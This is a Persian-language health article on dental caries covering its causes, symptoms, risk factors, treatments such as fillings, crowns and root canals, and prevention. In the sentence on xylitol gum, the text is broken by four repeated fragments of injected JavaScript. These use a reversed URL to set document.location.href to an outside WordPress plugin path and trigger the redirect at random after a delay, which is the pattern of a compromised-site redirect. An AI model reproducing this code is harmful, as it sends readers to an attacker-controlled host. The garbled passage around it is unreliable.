پوسیدگی‏های دندان (dental caries) از شایع‏ترین بیماری‏های ساختمان دندان هستند و به آنها حفره دندان، کرم خوردگی یا سوراخ شدن دندان هم گفته می‏شود. این اختلال در صورت عدم درمان موجب درد و تخریب دندان و حتی از بین رفتن و افتادن دندان می‏شود. با هر بار خوردن غذا، قطعات کوچکی از آن در بین دندان‏ها و اطراف لثه ‏ها باقی می‏ماند. این قطعات با بزاق دهان و باکتری‏های تشکیل ‏دهنده پلاک دندانی مخلوط می‏شوند. این پلاک، ماده‏ ای چسبنده‏ای است که به دندان‏ها می‏ چسبد. پوسیدگی دندان در اثر اسیدهای تولید شده به وسیله‏ی قندهای هضم کننده قند موجود در غذای پلاک‏ها روی می‏دهد. این اسیدها، مینای دندان را حل می‏کنند و باعث پوسیدگی دندان می‏شوند.
– پوسیدگی دندان معمولاً در طول چک آپ‏های منطم دندان تشیخص داده می‏شود. در مراحل اولیه پوسیدگی دندان ممکن است درد موجود نباشد ولی معمولاً سطح دندان نرم می‏شود. بخش آسیب‏ دیده‏ دندان قابل ترمیم خود به خود نیست. پوسیدگی دندان با برداشتن قسمت آسیب دیده از طریق تراشیدن و مته و سپس پر کردن آن به وسیله دندانپزشک درمان می‏شود. مواد ترمیم کننده پوسیدگی دندان عبارتند از طلا، آمالگام دندانی یا رزین کمپوزیت.
نکته:
اگر پوسیدگی دندان در مراحل اولیه درمان شود با درد کمتری همراه است و معمولاً هزینه‏ زیادی نخواهد داشت.
– رعایت بهداشت دهان، استفاده مرتب از مسواک و نخ دندان باعث پیشگیری از بروز پوسیدگی دندان می‏شود.
– وجود پلاک میکروبی و فعالیت میکروبی پلاک روی سطح دندان، مواد قندی غذا که در اختیار پلاک قرار می‏گیرند، وضعیت مقاومت بدن شخص و وجود زمان کافی برای ایجاد پوسیدگی و مستعد بودن سطوح دندان و ضعیف بودن آن در برابر اسید عوامل اصلی مؤثر در بروز پوسیدگی دندان هستند.
نکته:
پوسیدگی دندان، شایع‏ترین بیماری مزمن جهان است.
– در حفره‏ دهان، بیش از 17 نوع میکروب، دائماً در حال فعالیت هستند و مشخص شده است که پلاک دندانی از نقش مهمی در ایجاد پوسیدگی دندان در بیماری‏های لثه برخوردار است. پلاک میکروبی، توده‏ای بی‏رنگ، چسبنده و غیرقابل رؤیت است که از تجمع انواع میکروب‏ها و سلول‏های محیط دهان تشکیل می‏شود. این پلاک بر روی سطوح مختلف دندان‏ها، فواصل دندان‏ها و شیارهای سطح جونده تشکیل می‏شود. چنان چه پلاک‏ها از سطح دندان برداشته نشوند می‏توانند بیماری لثه و پوسیدگی دندان ایجاد کنند.
– پس از مصرف هر وعده غذا، در اثر تخمیر مواد غذایی باقی مانده در سطوح مختلف دندان‏ها، برای مدتی حدود 20 دقیقه، در دهان اسید تولید می‏ شود. چنانچه یک فرد طی شبانه روز سه وعده غذا بخورد حدود یک ساعت در دهان او اسید به وجود می‏آید و اگر در بین سه وعده غذای اصلی، ‌از مواد غذایی دیگری هم استفاده کند، بزاق دهانش حدود 2 ساعت حالت اسیدی خواهد داشت و در صورت مسواک نزدن،‌ مواد اسیدی به مدت بیشتری در دهان و در تماس با دندان‏ها باقی می‏ مانند و به تدریج مینای دندان را حل می‏ کنند و خود را به عاج دندان که بافت حساسی است می‏ رسانند و از این به بعد، سرعت پیشرفت پوسیدگی افزایش می‏ یابد و سپس میکروبهای موجود در دهان، عصب دندان را تحریک و آن را ملتهب و عفونی می‏کنند.
– برای پیشگیری از پوسیدگی دندان اقدامات زیر ضرورت دارد:
1. مسواک کردن مرتب با روش صحیح
2- استفاده مرتب از نخ دندان و دهان شویه ‏های تجویز شده به وسیله‏ دندانپزشک
3- نکشیدن سیگار
4- درمان با فلوراید، با دستور دندانپزشک
5- کاهش مصرف مواد قندی
6- مراجعه به دندانپزشک برای پوشاندن شیارهای سطح دندان (فیشورسیلانت) برای پیشگیری از توسعه‏ پوسیدگی
7- پر کردن پوسیدگی‏های خفیف با هدف پیشگیری از پیشرفت آن
8- مراجعه منظم به دندانپزشک.
نکته:
اگر پلاک دندانی به طور منظم برداشته نشود، لایه‏ ضخیم‏تری به نام جرم (tartar) به وجود می‏آید و در این صورت، باکتری‏های نزدیک‏تر به دندان‏ها شروع به تنفس بی‏هوازی می‏کنند و در نتیجه، اسیدهایی به وجود می‏آیند که در نهایت منجر به آسیب سطح دندان‏ها و پوسیدگی می‏شوند. بنابراین برای داشتن دندان سالم باید هر روز پلاک دندانی را برداشت.
– سطوح جونده (سطوح اکلوزال؛ Occlusal surfaces) دندان‏ها، 5/12 درصد از تمام سطوح دندان‏ها را تشکیل می‏دهند ولی بیش از 50 درصد تمام پوسیدگی‏های دندان در این سطوح ایجاد می‏شود.
– وقتی پوسیدگی به عاج دندان، در ناحیه‏ اتصال عاج – مینا برسد به سرعت به سمت جانبی توسعه می‏ یابد. در داخل عاج، پوسیدگی به شکل مثلثی که رأس آن به طرف پالپ دندان قرار دارد پیشرفت می‏کند.
– وجود نقطه‏ قهوه‏ ای تیره بر روی سطح دندان، احتمالاً علامت وجود پوسیدگی فعال است. با تخریب مینا و عاج، حفره‏ پوسیدگی بزرگتر و قابل توجه‏ تر می‏شود. وقتی که پوسیدگی از مینای دندان عبور می‏کند، لوله‏ های عاج که مسیر عبور اعصاب دندان‏ها هستند باز می‏ شوند و در نتیجه، درد دندان بروز می‏ کند. درد ممکن است در اثر تماس دندان با گرما، سرما یا غذاهای شیرین و نوشیدنی‏ها افزایش یابد. پوسیدگی دندان همچنین می‏ تواند باعث ایجاد تنفس بدبو و احساس طعم بد شود. در موارد بسیار پیشرفته، عفونت از دندان به بافت‏های نرم اطراف گسترش می‏یابد.
توجه:
ممکن است پوسیدگی‏های دندان، عوارض خطرناک و کشنده‏ ای مانند ترومبوز سینوس  و آنژین لودویگ را به همراه داشته باشند.
– بیماری‏های کاهش دهنده  مقدار بزاق تولید شده به وسیله‏ غدد بزاقی، به ویژه غده‏ زیر فکی و غده‏ بناگوشی (پاروتید) به طور شایع می‏توانند موجب پوسیدگی وسیع دندان‏ها شوند. از جمله‏ی این بیماری‏ها باید سندرم شوگرن، دیابت شیرین، دیابت بی‏مزه و سارکوییدوز را نام برد.
– مصرف داروهایی مثل آنتی هیستامین‏ها و داروهای ضد افسردگی نیز می‏توانند جریان بزاق را مختل کنند. داروهای محرک، به ویژه متیل آمفتامین باعث مسدود شدن جریان بزاق می‏شوند.
– رادیوتراپی سر و گردن ممکن است به سلول‏های غدد بزاقی آسیب وارد کند و احتمال پوسیدگی دندان را افزایش دهد.
– پوسیدگی دندان با مشاهده به وسیله‏ نور کافی و آینه‏ دندانپزشکی و رادیوگرافی دندان‏ها تشخیص داده می‏شود. پوسیدگی‏های بزرگ معمولاًبا چشم غیرمسلح دیده می‏شوند.
– از آنجا که فرآیند پوسیدگی دندان، قبل از ایجاد حفره، قابل برگشت است ممکن است بتوان با استفاده از فلوراید و معدنی کردن دوباره‏ سطح دندان، جلوی پیشرفت پوسیدگی را گرفت.
– برای برداشتن قسمت‏های بزرگ پوسیدگی دندان از دریل (هندپیس، handpiece) دندانی استفاده می‏شود.
– برای پر کردن دندان از موادی مانند آمالگام (amalgam)، رزین کمپوزیت (composite resin)، پرسلن (چینی؛ porcelain) و طلا (gold) استفاده می‏شود.
رزین کامپوزیت و پرسلن به نحوی ساخته شده ‏اند که رنگ آنها به رنگ دندان طبیعی است. مقاومت کامپوزیت، مانند آمالگام و طلا نیست و بعضی از دندانپزشک‏های برای دندان‏های آسیای عقبی که نیروی جویدن زیادی بر آنها وارد می‏شود از طلا برای پر کردن دندان استفاده می‏کنند.
– چنانچه پوسیدگی دندان خیلی وسیع باشد ممکن است بافت دندانی کافی برای آنکه ماده ترمیمی بتواند در داخل دندان‏ها باقی بماند وجود نداشته باشد. در این صورت استفاده از تاج (کراون: Crown) ضرورت دارد. کراون، شبیه کلاهک، بر روی باقی مانده تاج طبیعی دندان قرار می‏گیرد کراون‏ها، اغلب از طلا، چینی (پرسلن) یا پرسلن متصل شده به فلز ساخته می‏شوند.
– در بعضی موارد، ممکن است درمان اندودنتیک (endodontic) برای ترمیم دندان ضرورت پیدا کند. این درمان، روت کانال (root canal) هم نامیده می‏شود و در مواردی به کار می‏رود که پالپ دندان در اثر عفونت ناشی از باکتری ایجاد کننده‏ پوسیدگی یا در اثر ضربه مرده باشد.
در جریان روت کانال، پالپ دندان، شامل عصب و بافت‏های عروقی، همراه با بخش‏های پوسیده‏ دندان برداشته می‏شود. کانال‏ها با فایل‏های اندودونتیک تمیز و شکل‏ دهی و معمولاً با ماده‏ لاستیک مانندی به نام گوتاپرکا (gutta percha) پر می‏شوند. پس از پر کردن دندان می‏توان تاج (کراون) بر روی آن قرار داد. با انجام روت کانال، بافت دندان دیگر زنده نیست و هر نوع بافت زنده‏ آن از بین می‏ رود.
– چنانچه دندان دچار پوسیدگی خیلی وسیع شده باشد ممکن است کشیدن آن ضرورت یابد.
– امروزه جویدن آدامس‏های حاوی زایلیتول xylitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tol (نوعی الکل قندی) به طور گسترده برای محافظت از دندان‏ها به ویژه در بعضی کشورها رایج شده است.
اثر زایلیتول بر کاهی پلاک دندانی احتمالاً ناشی از ناتوانی باکتری‏ها در به مصرف رساندن آن، مانند سایر قندها است. همچنین جویدن و تحریک گیرنده‏ های چشایی روی زبان موجب افزایش ترشح بزاق می‏شود و بزاق، حاوی بافرهایی طبیعی است که از کاهش pH دهان (تا حدی که موجب کاهش ماده معدنی مینای دندان شود) جلوگیری می‏کنند.
– استفاده از مواد عایق بندی دندان (سیلانت‏های دندانی؛ dental sealants) از راههای پیشگیری از پوسیدگی است. این مواد، نوعی غشای نازک پلاستیک مانند هستند که به سطح جونده‏ دندان‏های آسیا مالیده می‏شوند و از به دام افتادن مواد غذایی در داخل سوراخ‏ها و شیارهای دندان‏ها در زیر فشار جویدن جلوگیری به عمل می‏ آورند و در نتیجه، کربوهیدرات‏ها به پلاک باکتریال مقاوم نمی‏رسند و از ایجاد پوسیدگی دندان پیشگیری می‏شود. معمولاً سیلانت‏ها را معمولاً کمی بعد از درآمدن دندان‏های آسیا قرار می دهند ولی می‏توان در سنین بالا هم از آنها استفاده کرد.
– معمولاً برای پیشگیری از پوسیدگی دندان، مصرف کلسیم (از طریق شیر و سبزیجات سبز) توصیه می‏شود.
– فلوراید با متصل شدن به کریستال‏های هیدروکسی آپاتیت مینای دندان به پیشگیری از پوسیدگی آن کمک می‏کند. می‏توان از فلوراید موضعی (علاوه بر فلوراید اضافه شده به آب شرب، نمک و شیر) به صورت خمیردندان یا دهان شویه نیز استفاده کرد. فلوراید در چای و ماهی نیز به مقدار زیاد وجود دارد.
– برس‏های مخصوص بین دندانی و دهان شویه نیز به بهداشت دندان و جلوگیری از پوسیدگی کمک می‏کنند.
– انواع پوسیدگی دندان عبارتند از:
1- پوسیدگی تاج: این نوع پوسیدگی اغلب بر روی سطح‏های افقی دندان روی می‏ دهد و در کودکان و بزرگسالان شایع است.
2- پوسیدگی ریشه: با افزایش سن، لثه‏ ها به تدریج عقب ‏نشینی می‏کنند و چون قسمت‏هایی از دندان که زیر لثه مخفی بوده فاقد مینا است در برابر پوسیدگی بسیار آسیب پذیر است و همین موضوع موجب پوسیدگی ریشه دندان می‏شود.
3- پوسیدگی دوباره: اطراف دندان پر شده، محل مناسبی برای جمع شدن پلاک و در نتیجه، بروز پوسیدگی دوباره است. افراد مبتلا به خشکی دهان به دلیل کمبود ترشح بزاق، بیشتر در معرض پوسیدگی قرار می‏گیرند، عدم درمان به موقع پوسیدگی می‏تواند موجب آسیب عصب دندان و ایجاد آبسه‏ لثه شود.
نکته:
مصرف غذاهای پیشگیری کننده از پوسیدگی دندان، مانند پنیر، آجیل و سبزیجات خام برای جلوگیری از بروز این مشکل مفید است.

ارسال دیدگاه

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *